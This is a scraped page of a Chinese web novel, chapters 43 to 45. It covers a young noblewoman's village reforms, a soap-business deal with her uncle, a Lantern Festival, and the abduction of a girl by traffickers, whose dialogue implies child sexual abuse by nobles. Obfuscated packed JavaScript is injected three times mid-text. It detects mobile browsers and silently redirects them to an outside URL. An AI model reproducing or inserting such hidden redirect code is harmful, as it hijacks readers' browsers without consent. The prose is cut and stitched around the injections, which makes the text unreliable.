;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205772|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木头钻孔做成，高档的，则可以用陶瓷或者金属做成，整体难度不大，香水一律装在瓷瓶里面，瓶身玲珑雅致，当然，价格也分为几等。进入腊月后，虽然只有桂花和腊梅两种，却也是大受欢迎，香气浓郁，且留香时长，远超现在市场上的各种香膏香粉，尤其是京城的富家小姐，爱不释手，可谓一瓶难求。只等到春天来临，香水品种就会多起来。 这日，苏云去桃源的住宅看过修建进程，刚回到院子，庄头来求见。进得院子来，却是乌泱泱一大群，仔细一看，都是互助会的那些理事大爷。后面还跟着一大群庄户，手里都提着篮子。众人进院，纳头便拜，唬得苏云一下从座位上站起。 只听庄头道：“县主勿惊。此番是村民推举互助会理事们专程来向县主谢恩的。” 苏云道：“都是叔伯辈，更兼爷爷辈的，向晚辈行此大礼，这不是要折我的寿吗？如何担当得起，请快快起身，不必多礼，有甚话起来再说。” 众人都不起身，庄头道：“老朽舔为庄头，在柳河庄多年，虽竭尽全力，奈何柳河庄土地贫瘠，无甚产出，上愧对侯府，下愧对庄民，心里好生惭愧！幸得县主受龙王所托，帮我们成立互助会，用各种方子让庄户经商，还建工坊让庄户们做工，对庄上孤寡老人照拂有加，衣食不缺，整个柳河庄这算是活过来了。县主大恩大德，柳河庄上下莫不感念！” 苏云道：“张叔言重了，本县主也是受了龙王嘱托，再说柳河庄本就是侯府产业，本县主是侯府嫡小姐，现在在柳河庄做的些许事情，怎敢让叔伯们如此，快快请起！”王嬷嬷、阿牛他们赶紧将众人搀扶起来。 庄头道：“为表谢意，庄户们各自带了一些家产菜蔬，还望县主不要嫌弃。”说罢，一挥手，后面提着篮子的众人蜂拥而入，菜蔬、水果、甚至有些提着鸡鸭进来，闹作一团。 苏云瞬间头大，忙道：“乡亲们好意，本县主心领了，这么许多物事，院子里几个人也用不完，还是请大家将东西拿回去吧，诸位的厚意，本县主心领了。” 众人都不理，放下手里的东西，就嬉笑着跑出去了。 苏云好生无奈，朝庄头苦笑。王嬷嬷也只好指挥人将这些东西妥善收拾起来。 苏云这才将庄头让进屋里。 庄头道：“自从县主总管柳河庄以来，整个柳河庄都变了样，县主成立的互助会，帮助庄户们开辟了很多生财之道，鱼塘、果树、花卉、葡萄、卤菜、冰棍、刺绣等等，还有每家不拘男女，基本都有人去工场打工，除了鱼塘花卉暂时还没有成果，其余的着实让不少庄户都赚到了不少钱。” 苏云道：“那今年应上交侯府的粮食可是够了？” 庄头道：“鱼塘占地不少，虽是贫瘠之地，却多少减少了些产量，好在水车和水渠提高了产量，相对而言，差额并不是很多，庄户们交上来的抽成，完全可以弥补，县主不必担心。” 庄头心里感佩，继续道：“县主虽才管理柳河庄大半年，庄上面貌一新，庄户们的日子大有好转，今年断不会有人冻着饿着了。” 苏云道：“如此甚好。明年肯定会更好。只是有一点要注意，就是鱼塘，虽然在养鱼的种类上做了安排，上市时间尽量错开，但鱼塘规模大，最集中是后年出产，临川县就那么多人，吃不了那么多余鱼。鱼又是必须鲜活才好卖，穿州过县，很是困难，到时候卖给谁，你可想好？” 庄头道：“老朽和互助会管事也为此很是头疼，至今并无良法。” 苏云道：“大家务必集思广益，多想想法子，切不可费心费力养好了鱼，却卖不出去，烂在手里。” 庄头道：“县主说的是。只是该如何是好？” 苏云道：“我先说一两个想法，抛砖引玉，与大家商议。可以说，现在各州县都还没有这种专门的鱼塘养殖，我们的优势就是数量大，我们要把柳河利用起来，在沿河州县，在县城或者富裕乡镇旁边租用也好，买下也罢，弄上两三亩地，挖成鱼塘，待到鱼长成，先用网将鱼顺着柳河送到买好的鱼塘放着，慢慢卖给周边的城镇。这样可保鱼新鲜，如果通过陆路运送，一是量小、成本高，二是鱼很容易死掉。利用河运，虽是增加了一些成本，但也不至于亏本。另一个办法就是，若是还剩下卖不出去的鱼，可以自己腌制鱼干出售。” 庄头喜道：“此法甚好，我去与他们商议。”说完，站起来，很是正式地向苏云言道：“侯爷让县主接管柳河庄，老朽初时确却有不服。岂料县主才接手大半年，出钱出力出主意，一心为了庄户，柳河庄才有了如此之大的变化，庄户今年不再缺吃穿。现今老朽是真心佩服之至，以后若有任何事情，唯县主马首是瞻。老朽代全庄父老，感谢县主！” 说罢，恭恭敬敬跪下行礼。 苏云赶紧起身虚扶道：“张叔言重了。赶快请起。本县主年幼，见识尚浅，纵有些许想法，也靠的是庄头和互助会管事们实施。如今微末成绩，也是大家共同努力，本县主实不敢受张叔如此大礼。” 43. 第 43 章 43、舅舅加盟 苏云见诸般事情都顺当，又再想该如何扩大版图，只是如果每次都亲力亲为，毕竟不太现实，于是又想到了舅舅，让陆平去舅舅留下的地址，把舅舅请到了柳河庄。 这一次是舅舅坐着马车前来，到了桥边，舅舅下车步行，陆平和长随也下车陪同。不过大半年，柳河庄起了好大变化，耸立的水车，宽阔的石桥，连绵的水渠，桥上人来人往，个个脸上都洋溢着笑容，完全不似半年前的愁苦，陆平在一边陪着，不停解说，舅舅看到如此变化，不觉感叹连连。 知道今天舅舅要来，苏云便没去工场，安心在家等候舅舅。让黎大为作和陆平作陪，还特意把梁莺接回来，几日前就让他们各自准备了乐曲，以待今日之用。见舅舅来到，见了礼后，分主宾坐下。 苏云道：“大半年没见舅舅，云儿想念得紧，今日请舅舅过来，一是叙叙旧，二是有事请舅舅帮忙。” 舅舅这才细细打量苏云，只见苏云长高了半个头，身材也在逐渐长开，五官越发像亡姐。许是营养不错，再加上练功，比半年前丰满了不少，不再是瘦骨嶙峋的样子，加上衣服布料中上，剪裁得体，头上装饰低调华贵，看起来气度沉稳，举手投足，竟是大家闺秀一般，心里喝了一声彩。 舅舅道：“上次一别，已经半年有余，常惦念云儿，今日一见，得知日子不错，这才可以放下心来。” 苏云道：“前次舅舅离开后，云儿把龙王给的乐曲记起了不少，整理了几首，舅舅可愿听听？” 舅舅本是琴痴，得知有好曲可听，哪有拒绝的道理，当即道：“前次的《茉莉花》、《玉湖水浪打浪》，如仙乐在耳，回去弹奏给好友听，都说人间难得一闻，全都向我讨要曲谱。既有新曲，想来也是不凡，求之不得，洗耳恭听！” 苏云道：“云儿半年来琐事颇多，疏于琴艺，先献上一曲，抛砖引玉，忘舅舅莫笑！”舅舅只是笑笑，静待苏云弹奏。 苏云怀抱琵琶，道：“先弹一曲《太湖美》。”轻轻一抚，琴声清脆，弹了一首《太湖美》，这是苏云擅长的琵琶而不是古琴，曲调优美流畅，江南水乡分风情尽显，舅舅本来就是南方人，自然很是喜欢，鼓掌叫好。 苏云起身，轻轻一福致谢，道：“云儿献丑，还好舅舅不嫌弃。现在让莺儿来为舅舅弹奏一曲《枉凝眉》。”莺儿经过一段时间演出，早就已经经验丰富，听得苏云叫自己，也不扭捏，在古筝上一拨，弹奏起《枉凝眉》，边弹边唱，琴声哀怨，歌声如泣如诉，如黄莺出谷，虽然还是童声，也听得在场之人好生心酸。一曲完毕，沉吟片刻，舅舅鼓掌叫好。 这一曲《枉凝眉》，莺儿在万红楼也唱过两次，客人还好说，倒是把姐妹们被勾起伤心事，唱哭了几个，吓得鸨儿不准莺儿再唱这首歌。 舅舅道：“此歌诉尽两情不得相守的无奈与伤悲，曲美词也美，真是人间极品！莺儿也唱得很好。”莺儿忙福了一礼致谢。 苏云看了黎大为一眼，黎大为会意，道：“刚才县主和莺儿妹妹都各自弹了一曲，若舅老爷不嫌弃，在下也想为舅老爷弹奏一曲《将军令》。”说罢，走到古筝前，莺儿早已起身离开，黎大为坐下，双手一拨，琴声不似莺儿弹奏时委婉哀怨，而是充满刚毅果敢，隐隐有杀伐之气。弹将开来，琴声激昂，如战马奔驰，如将士浴血，气势恢宏，闻之让人热血沸腾。 舅舅情绪激动，心驰神往，急切地看向苏云，苏云哪里不知舅舅所想，微微一笑：“舅舅不急，这几首曲子就是特地为舅舅准备的，待会儿就将曲谱给舅舅。舅舅请安坐，后面还有一曲。” 舅舅大喜，赶紧正襟危坐，静待下一曲。 苏云道：“刚才又是哭，又是杀气腾腾的，委实有些让人缓不过气来，舅舅来看云儿，半年未见，本事喜事一件，不若来一首欢快一点的曲子。” 只见陆平搬来一面鼓，自己拿着鼓槌，莺儿手里拿着一个铃铛，苏云起了一个调，陆平鼓槌落下，琵琶、古筝琴声响起，节奏轻快，莺儿满脸堆笑，唱了起来，正是《铃儿响叮当》。 这首曲子，莺儿曾经请师傅进行过编排，两个乐器加上鼓和铃铛，完全不是独奏的效果，俨然也是一个小乐队，当然不是独奏能比的。气氛调动很快，舅舅的身体也不由自主跟着乐曲微微动起来。 一曲歌罢，众人起身致谢。舅舅站起来，鼓掌大笑：“今日能听到这几首曲子，纵是千里，也真不白来一趟！” 苏云道：“舅舅谬赞。这是云儿整理的曲谱，舅舅请笑纳！”王嬷嬷捧着曲谱过来。 舅舅道：“如此，就多谢云儿了。”王嬷嬷就将乐谱交给了长随。 王嬷嬷道：“已到午膳时辰，厨娘说已经备好酒席，小姐可否开席？” 苏云看向舅舅，舅舅道：“客随主便，云儿有心了。” 席间自然鸡鸭鱼肉齐全，时鲜果蔬，临川在北地，食材上并无多少不同之处，有的就是做法上的一些区别。苏云端起酒杯，道：“舅舅半年未见，这次要多盘桓两天，让云儿也尽尽地主之谊。” 舅舅也端起酒杯：“敢不从命？”说罢一饮而尽，咂咂嘴道：“如此美酒，竟似京城一瓶难求的卧云醉？”苏云笑道：“正是卧云醉。” 舅舅尝了一块卤肥肠，感觉新奇，道：“这是什么吃食？味道如此奇特，貌似以前未曾见过。”苏云道：“此是猪下水，卤煮的猪大肠。”舅舅道：“猪肉有些骚腥味，高门大户都不爱吃，更别说猪下水，云儿是怎生做成来的。”苏云道：“这个容易，只需用特制调料，卤煮两刻钟即可。这种调料，可以卤制猪肉、牛肉，还可以卤煮豆腐干，一些豆类。若是舅舅喜欢，我可将方子奉上。”大凡儒家大贾，对酒、茶、吃食都是相当讲究的，食不厌精脍不厌细，对没有吃过的新奇食物的，更是毫无抵抗之力。今日能得到几首乐曲，还能得到卤菜的方子，舅舅自然很是高兴。 又见一盘切得椭圆的肉片，摆在盘里，像是一朵盛开的花朵，舅舅夹了一块放进嘴里，也是一种没有尝过的味道。苏云见舅舅惊奇，笑着道：“这是香肠，就是用猪小肠将猪肉灌装起来熏制，晾干后可蒸可煮，且根据个人口味不同，酿造时肥瘦自选，加入不同香料，千人千面，或甜或咸或辣，各擅胜场。这种香肠可以保存大半年。猪肉也可以直接熏制，也能保存大半年不坏。”古代缺乏保鲜技术，肉食多是鲜肉，纵是冬日，除非冰天雪地，一般也只能保存几日而已。能有这种技术，而且味道与普通肉食不同，舅舅是生意人，马上就嗅到了商机，心里已经隐隐知道苏云请他过来是为了什么。只是苏云不说，他也装作不知道。 酒足饭饱之后，苏云安排舅舅去房间小憩，未时请到了堂屋。 苏云道：“舅舅小憩可还好？”舅舅道：“年龄大了，精神不济，中午就想小憩一下，不然下午没有精神气。不过也不用太久，两刻钟即可，挺好的。”苏云道：“那就好，就怕舅舅有所不惯。”舅舅道：“真挺好！” 苏云进入正题：“此番请舅舅过来，除了叙旧，尚有一些生意上的事情想和舅舅合作，想看看舅舅的意思。”舅舅暗喜道：“自家人，何必客气，云儿请直说无妨。” 苏云道：“舅舅上次来柳河庄，云儿曾给舅舅制冰的方子，不知舅舅拿去之后，效果如何？”舅舅道：“说起这个，着实要感谢云儿。这个夏天，卖出去不少冰，基本已经回本，明年应该就可以坐收纯利润了。” 苏云笑道：“那就恭喜舅舅了。舅舅这一阵也去过京城？” 舅舅道：“去过两次。” 苏云拿出一个木盒，递给舅舅：“我这里有一物事，不知舅舅可曾知道？” 舅舅接过，只见一个精巧的木盒，打开一看，原来是一块肥皂。心念一动，马上想到了什么，激动得有些语无伦次：“这是肥皂，京城最近很是风行，一块难求，莫非。。。。。。” 苏云笑道：“正是云儿所制。” 舅舅惊道：“这、这。。。。。。”竟说不出话来。 苏云等舅舅稍稍平复后，道：“此次请舅舅过来，就是想谈肥皂的合作，不知舅舅可有意向？” 舅舅急道：“有、有，自然是有的，却不知怎生合作？” 苏云道：“合作嘛，自然要找有实力的，其次还得是信得过的。母亲娘家经商多年，本就是南方富商，资本雄厚，实力不在话下。俗话说：肥水不流外人田，云儿与舅舅本就是一家人，自然首先想到舅舅。” 舅舅不语，等着苏云说下去。 苏云又道：“舅舅经营布庄生意，做成成衣被褥，也是需要洗涤的，这个肥皂嘛，若要强行归类，也勉强可和布庄划在一起。我出方子，舅舅准备怎么合作？” 舅舅道：“自然由舅舅建作坊，雇人工生产，然后销售，就是这成本几何？还有分成，云儿想如何算？” 苏云道：“按照商场惯例，五五应是可行的，只是云儿是晚辈，又是自家人，云儿不敢多要，三成，舅舅觉得是否可行？” 舅舅略一沉吟，道：“云儿所说，是毛利还是纯利？” 苏云道：“自然是纯利。” 舅舅双手一拍： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205773|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如此甚好，自是没有任何问题。” 苏云道：“舅舅不急，若有兴趣，不妨现在去工场转转？” 舅舅急不可耐，道：“甚好！” 苏云叫来黎大为：“大为，你带舅老爷去肥皂工场转转，也去看看槐树庄的销售情况。”又问舅舅：“舅老爷可会骑马？”舅舅道：“自然会的。” 于是，黎大为牵来两匹马，二人骑马而去。苏云事先就做了安排，只让黎大为带他去看肥皂工场和肉食加工场，至于酿酒嘛，暂时不行。倒不是苏云想吃独食，而是怕舅舅商户身份，也保不住方子。 约莫一个半时辰，黎大为带着舅舅回来。 甫一坐定，来不及喝茶，舅舅急不可耐道：“合作之事完全没有问题，云儿且说说细节。” 苏云端起茶杯，慢声道：“舅舅莫急，你我一家人，说要合作，只要舅舅愿意，就算别人家五五分成，允儿也不会答应的。适才舅舅也去看了工场和销售，不知感觉如何？” 舅舅道：“工场忙碌，销售可谓火热！” 苏云道：“既然舅舅看好，合作之事，云儿有几点想法，还请舅舅斟酌！” 舅舅不语，微微点头，静待苏云继续。 苏云继续到：“肥皂乃万民日常所需，且是消耗品 ，销量不可谓不大。然则大乾何其大，人口何其多，以云儿个人之力，必不能满足所有之需要。所以请舅舅合作。正如前面所说，云儿出方子，舅舅建工场、出材料、人工，纯利三七分成，我三舅舅七，这点无异议吧？” 舅舅道：“绝无异议！” 苏云道：“市场太过广大，就算舅舅加入，也不可能满足全部需要。云儿窃以为，将市场分为南北两界，云儿负责北方，舅舅负责南方，这样避免相互之间恶性竞争，不知舅舅意下如何？” 舅舅暗忖：云儿说的极是，如此之大的市场，一家必然吃不下来，南北分开，就南方而言，其用量更是非常之巨大。况南方南方比北方富足，气候湿润，容易出汗，取水也容易，有沐浴习惯，肥皂所用之量远胜北方，相比之下，市场份额更是巨大。 想到此，舅舅面露微笑：“云儿所言极是。” 苏云又道：“至于销售模式，舅舅必然有自己的渠道。不过云儿还是想谈谈自己的想法。舅舅可听说过区域代理？” 舅舅道：“未曾听说过，可是什么新的销售招式？” 苏云道：“也说不上什么新的招式。想来舅舅肯定也看到槐树村的销售，热闹非凡，车水马龙，生意兴隆是真，但各种繁琐之事多不胜数，只是槐树村乃云儿封地之所在，为村民计，不得不如此。其实有个法子，可以让我们不至于那么累。就是设置区域代理。把市场按照区域划分成几块，比如，以州府为单位，每州府设置一个一级代理，然后由一级代理找县、乡，招二级代理，每个代理只负责自己的区域销售。” 舅舅商场大佬，一点就通，道：“云儿说得对，这样的话，我们只需负责生产，销售之事，就可放手给代理。且各自划定了区域，也就避免了恶性竞争，此法大妙啊！” 苏云道：“肥皂制作，需用到大量油脂，从目前来看，油脂还得出在猪身上。油脂用了，猪肉也可灌制香肠，熏制腊肉，反正肥皂奇货可居，销售之时，也不妨搭上肥皂一起出售。” 舅舅道：“正是如此，这样一来，猪肉亦可销售出去。” 苏云道：“另外我再送舅舅卤肉方子，也可自己卤制，送酒楼饭庄，或者给小贩兜售，亦是一笔进账。” 苏云顿了顿，道：“饶是如此，舅舅产量若想完全满足南方肥皂所需，也不可能，少不得要把方子给别人合作。云儿先说在前面，若是转让给别人，买家需给我两成纯利。” 舅舅心里一盘算，自己若转给别人，至少得要收别人五成，就算给苏云两成，自己还可以留下三成，如此也是可行的。便毫不犹豫答应了。 二人相谈甚欢，共识很快达成，黎大为写好协议，双方愉快签字盖手印。 签好协议，苏云道：“方子是死的，建造工场，肥皂制作，最好有人指导。我这里有一个下人，熟知所有过程，这边赠与舅舅，有甚不解之处，可问问他。只是望舅舅不要苛待于他。”说完，让王嬷嬷将那个已经培训过的汉子叫来。汉子名唤阿旺，三十多岁，一脸憨厚。舅舅大喜道：“这是人才，怎可怠慢，只怕是要把他当成财神爷供着才是”，大家一起笑起来。 之后，苏云让黎大为按照经销商等级这个思路，又去联系了好几个外地大经销商，自此日进斗金不提。 44. 第 44 章 44、元宵灯会 转眼就到了大年，由于有互助会的援助，今年柳河庄庄民都没有出现冻饿而死的现象，相反绝大多数餐桌上居然有鱼有肉，白馍管够，还添置了新衣，个个脸上都喜气洋洋，只是因为柳河庄是侯府产业，不敢随便兴建房屋，但老一辈看在眼里，只觉是几十年来最热闹的春节，直叹龙女大恩，把龙王庙重新翻新，香火都旺盛了不少！ 苏云早带着王嬷嬷、娟儿他们到了临川县里。凉水院子住不了，于是把如临院子整理了一番，住了进去，整日的吃喝玩乐，自是不提。 朱县令说不上是清官，因为还想往上晋升，倒是极爱惜自己的官声，也就不是那种敲骨吸髓的贪官，因为得到苏云水车意外的助力，官升两级，再加上佩服苏云对经商的理念，还有平时的孝敬，手里宽裕，于是对商人利益进行了诸多保护，果不其然，税收倍增，街市越加繁荣，一个小小县城，繁华程度竟然直逼州府。为此，朱县令天天做着美梦，期待进入户部。心中喜悦，在幕僚们的建议下，决定在元宵节举办灯会，与民同乐。 按照苏云建议，将街市分成了几段，让县里富户各自负责一段，并把那一段的街道摆摊权利下放，收益归负责人。富户都是人精，见有利可图，纷纷下足血本，把街道布置得红红火火，绚丽异常。一时间扎灯师傅接单到手软，根本吃不下，不得不把邻县的师傅都请来了。 终于盼到日落时分，街道两旁纷纷掌灯，一时间火树银花，游人如织，不仅本县民众，十里八乡的乡民也拖家带口，来到城里赏灯，就连临县的也来了不少，整个县城成了欢乐海洋。 苏云、王嬷嬷、娟儿、梁莺以及杨三叔也早早混入人群当中。一边观赏各式各样的花灯，一边嘴里零食不停，看着摊贩们各式各样的新奇玩意儿。 一个花灯摊前，围了一块地，里面挂满了花灯，围着好多人，一个掌柜模样的人见人多，心情爽快，口沫四溅吆喝：“诸位乡亲，本摊是张员外张老爷负责的。里面有一百个花灯，每个花灯有一个灯谜，只要猜出谜底，这个花灯就给谁，大家不妨试试，猜一次两文钱。”周围百姓纷纷交钱进去猜灯谜。苏云看得有趣，也让娟儿交了钱，进去猜谜。 只见一个兔子灯下的谜语条：“小小诸葛亮，独坐中军帐，摆下八卦阵，专捉飞来将——打一小动物。”娟儿看了半天，猜不出来，转头看着苏云，苏云笑笑：“很简单的，你想想，小小诸葛亮，那这动物很小，八卦阵，那肯定是一圈一圈的，飞来将，那就是能飞的东西，比如蜜蜂、蝴蝶什么的，你好好想想。”旁边的莺儿突然叫道：“小姐，我猜到了，是蜘蛛。” 苏云笑着摸摸莺儿的头，道：“莺儿真聪明，去找老板吧。”梁莺乐颠颠叫来伙计，伙计翻看手里的小册子，道：“恭喜小妹妹，猜对了，这个兔儿灯是你的了。”说罢，取下兔儿灯递给莺儿，莺儿高兴的收下了。 娟儿也看中了一个花灯，只见上面的谜语是：“独木造高楼，没瓦没砖头，人在水下走，水在人上流——打一物，需用另一个谜面来猜。”，杨三叔也凑过来看了一下，道：“能猜到是什么物件，但是要换成谜面，这个有点难。”娟儿着急道：“三叔，是什么物件，我怎么想不出来呢？”杨三叔笑笑不语，苏云看了看，招呼伙计过来，道：“小二哥，这个谜语我来试试看。”小二笑着点头：“小姐请讲。”苏云道：“出门胖又圆，进门瘦又尖，晴天家里坐，雨天走外边。”小二鼓掌道：“小姐猜得甚好，这盏花灯是您的了。” 娟儿和莺儿尚一头雾水，完全不知道是什么东西，看苏云和小二谈笑甚欢，着急得不行，忙缠着苏云问是什么东西。王嬷嬷笑道：“两个笨丫头，这都不知道，是伞。” 只见小二递了一张纸条，道：“小姐必是猜谜高手，不妨猜一下这个。”苏云笑笑，念了出来，上面是：“镜子里面照着人——打一字。”旁边一个书生模样的人笑了：“这个字忒简单，不就是囚字吗？”小二摇头道：“公子再猜猜？”书生一时无语，喃喃道：“莫不是内字？”小二又摇头。 苏云朝向娟儿：“娟儿，你说说看，是什么字？你最喜欢的。”娟儿想想，还是摇摇头。苏云道：“是肉字。”书生模样的人低头想了想，突然顿悟：“是了，镜子里面有人，外面肯定也要有人才行，肉字没错！”转身对苏云施礼：“小姐真是一字之师。”苏云赶紧还礼道：“玩笑而已，何至于此？” 掌柜模样的人过来，道：“小姐连猜三个，不妨试试这个。”递上一张纸条，上面写着：“给你一个火折子，让你走进一间黑屋，里面依次排列放着赤橙黄绿青蓝紫七根蜡烛，色泽鲜艳，造型可爱，后面还有一盏油灯，请问最先点亮什么？只能猜一次。”苏云一笑，这不是现代的脑筋急转弯吗？还没开口，娟儿抢着道：“是油灯。”掌柜笑着摇头，道：“还可以再猜一次。”莺儿本想开口，一听也不敢吱声了。苏云怕他们答错，赶紧道：“是火折子。”掌柜笑道：“小姐确是高手！”取了一盏灯递过去。 掌柜又道：“小姐想是琴棋书画皆精，不如去梁员外处弹琴耍子？”苏云知道这是老板怕谜语被她猜完，开始撵人了，也不生气，道：“正是，多谢老板了。”说完，就走出圈外。 走不多久，听到一阵古琴之声，寻声望去，只见不远处也搭了一个台，上面一个女子正在弹琴，下面围了一群驻足观望。 只听一个女子在小声对同伴道：“娟娘，你不是也会弹琴吗？你也去试试，说不定还可以得到一包好茶。”王嬷嬷道：“请问这位娘子，要怎样才能得到茶叶？”那女子见有人问，来了兴致道：“这是梁员外家负责的，梁员外是茶商，有愿意上台弹奏的，只要完整弹完一首曲子，就可以得到一包茶叶。根据弹奏的效果，分成三等，弹得越好，茶叶越贵重。”梁莺听了，有点跃跃欲试，苏云觉得也无不可，今晚就是为了高兴，也就没有阻止。等台上的女子弹毕，根据弹奏效果，得到一小包茶叶。苏云感觉评审还算公证。 莺儿上台，她早已不是以前那个害羞的小姑娘了，朝观众福了一礼，道：“奴家弹奏一曲《玉湖水，浪打浪》”神态自若，坐到古琴旁，轻轻试了两下，就开始弹奏起来，而且边弹边唱。小姑娘本来长得俊俏可爱，声音又甜，旋律也美，霎时台下响起一片叫好声。 一曲弹毕，台下不知是谁高声叫道：“小娘子，再来一曲！”接着变成观众一起喊：“再来一曲！再来一曲！”娟儿挺激动，站起身躬身致谢。只见一个员外模样的人，走上前道：“小娘子琴声如仙乐，不知可否再弹一首？”梁莺道：“老爷谬赞，既然大家喜欢，敢不从命？”于是坐下，弹起一曲《虞美人春花秋月何时了》，也是边弹边唱，只是苏云怕惹祸，把歌词中的故国改成了故园。莺儿虽是童音，却也有几分苍凉之感。一般观众也就是凑个热闹，中间几个读书人，简直被惊呆了，纷纷赞道：“旋律优美就不说了，怎的这词也这般好？不知是哪位大家所做？”一个书生急忙去借了纸笔，忙着记录下来。 两曲弹唱完毕，观众还要求再来一曲。梁莺却知道再弹别人就没有表现机会了，只是致谢，却再也不愿留在台上，一个小厮上前，给了一包最好的茶叶，还额外送了一盏花灯，梁莺乐得一个劲笑。却没注意有几个人看着她，眼中一片贪婪。 苏云带着大家继续闲逛，只见路边搭了一个台子，上面三张椅子，坐着三个饱学之士模样的人，应是请的当地名流做评审，旁边放了几张桌子，上面有些笔墨纸砚。有两个书生在上面奋笔疾书。再旁边两个柱子，上面栓了一个细绳，挂了几张纸，应该是读书人写的诗。苏云虽不会作诗，但初级品评还是可以的，仔细看过，都觉得一般，并不出彩。 娟儿道：“小姐，你还会作诗？”苏云笑道：“并不会作诗，只是记得龙王给过几首。”娟儿道：“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小二接过纸张，递给了老者，老者满脸不屑，展开一看，瞬间睁大眼睛，表情相当惊讶，竟忘记了念诵，旁边两个评审奇怪的看着他。一个评审催道：“崔老，写的什么，你老念念。”崔老才回过神来，赞道：“好诗啊，好诗！”崔老念道： “应怜屐齿印苍苔，小扣柴扉久不开。 春色满园关不住，一枝红杏出墙来。” 两个评审也惊得站起身来，赶紧凑在一起念诵，然后赞叹：“春色满园关不住，一枝红杏出墙来，绝妙啊，绝妙！”老者对苏云深施一礼：“适才老朽以貌取人，不知小娘子才思如此出色，实在惭愧之至！还请小娘子宽宥。”苏云还了一礼道：“先生言重。”崔老道：“不出意外，今晚此诗当得魁首，只是时辰还早，需得等过了戌时之后才能评定，若小娘子信得过，可留下姓名住址，评定之后，若得桂冠，自会把徽砚送到府上。”苏云道：“如此多谢，只是今日好诗颇多，恐轮不上云娘，告辞！”说完，让娟儿留下地址，带领众人走开。 才走几步，苏云觉得有什么不对，回头一看，果然不见了梁莺，忙问娟儿：“莺儿呢，怎么不见她？”娟儿道：“不在吗？刚才我们还说了话的。莫不是看什么新奇玩意儿去了。”众人四下一看，没有发现梁莺的踪影。 王嬷嬷一下慌了神，不知道该怎么办。正巧杨捕头带了衙役巡视，苏云叫住杨捕头，道：“杨大哥，我家一小孩子不见了，杨捕头能不能帮忙找一下？”王嬷嬷摸出了一锭银子，悄悄递给了杨捕头，杨捕头收下银子，道：“小孩子什么样？”王嬷嬷把梁莺的长相说了个大概。杨捕头一排大腿：“糟糕，只怕是遇到拐子了。”众人大惊：“拐子？” 杨捕头道：“最近县衙接到多起报案，都是女子失踪，小的几岁，大的二十有余，都是清一色长相清秀的女子，想是拐子绑架有些姿色的女子，到外地卖给达官贵人做小妾，或者卖到秦楼楚馆。县令老爷也很着急，着在下巡查，只是人海茫茫，一时却也没什么头绪。” 45. 第 45 章 45、暗血门 回到家里，已是子时，苏云、杨三叔、王嬷嬷坐在一起商量。 苏云道：“我们分别找了一个多时辰，一点踪迹都没有。朱县令也曾想过关闭城门，只是今晚游人实在太多，且都是十里八乡的乡民，基本都要连夜赶回家的，如果关闭城门，确是不太现实。”杨三叔道：“正是，只是现在还没有搞清楚，拐子是在城里还是城外。” 苏云沉思道：“按照杨捕头所说，近日失踪者已有十余人之多，若都在城里，必定是一个不小的院子里面，每日也需不少的吃食；若是在城外某处，已经有几日了，人多之处，很容易被察觉，应是在荒僻之地；而且日后肯定会把失踪女子贩卖至别地，一次性出城难度很大，想来是在郊外某一处偏僻之地，即便如此，据杨捕头所说，失踪之人都是年轻貌美的女子，如果单纯是外来作案，不可能了解得如此清楚，城里肯定会有他们的联络窝点。” 杨三叔道：“现在尚不清楚情况，不管是否出城，今夜还需探一探县城。”苏云点头。转投吩咐王嬷嬷：“明日你给院子里人说，所有的小孩子和年轻妇人，都不能出院子；院子里的男子，都出城，沿不同方向出去查探，主要是看看寺庙、大一点的民居院子，看最近有没有最近采购较多的粮食，或者出现生面孔。一定要注意安全，查到后不可打草惊蛇，直接回来禀报，若是找到拐子藏身之地，给一百两银子。” 杨三叔道：“现下已是三更，不如出去看看。”二人换了夜行衣，在县城屋顶转了起来。县城经过一夜热闹，已经散去喧嚣和欢笑，回复到了宁静，只有极少数地方还有一点微弱的灯光。 苏云和杨三叔在房顶游走，专朝有灯光亮着的地方查看。不过大部分都是夫妻间借着灯光调笑，或者书生准备春闱苦读，并不打扰。忽见前面不远处又有灯光，似乎还有人声，相互看了一眼，不约而同纵身飞掠过去，落在庭院中，贴着墙角偷听。 只见一间屋子亮着灯，三个汉子正在喝酒谈笑。一个汉子道：“三哥，今晚收获真不错，搞到的三个，一个比一个水灵，尤其是那个小女娃，弹琴还真好听，唱歌也像小鸟一样，门主这一次可要高兴坏了，赏赐绝对少不了，我们也好交差了。” 另一个汉子道：“可不是呢，那小女娃是难得的尤物，只是年纪太稚嫩，毛都没长齐，贵人可有得等。”一个声音道：“四弟此言差也！贵人们的喜好，你是不了解的。我等都喜欢白花花的软肉，有些贵人喜欢的却是这种眉眼都还没有长开的小女娃。”一个小声道：“是啊，听说贵人就好这一口，府里养着不少这样的小女娃。”压低了声音道：“听说这些女娃都活不过半年。”一个声音严厉道：“住嘴，不可多言，小心惹祸！” 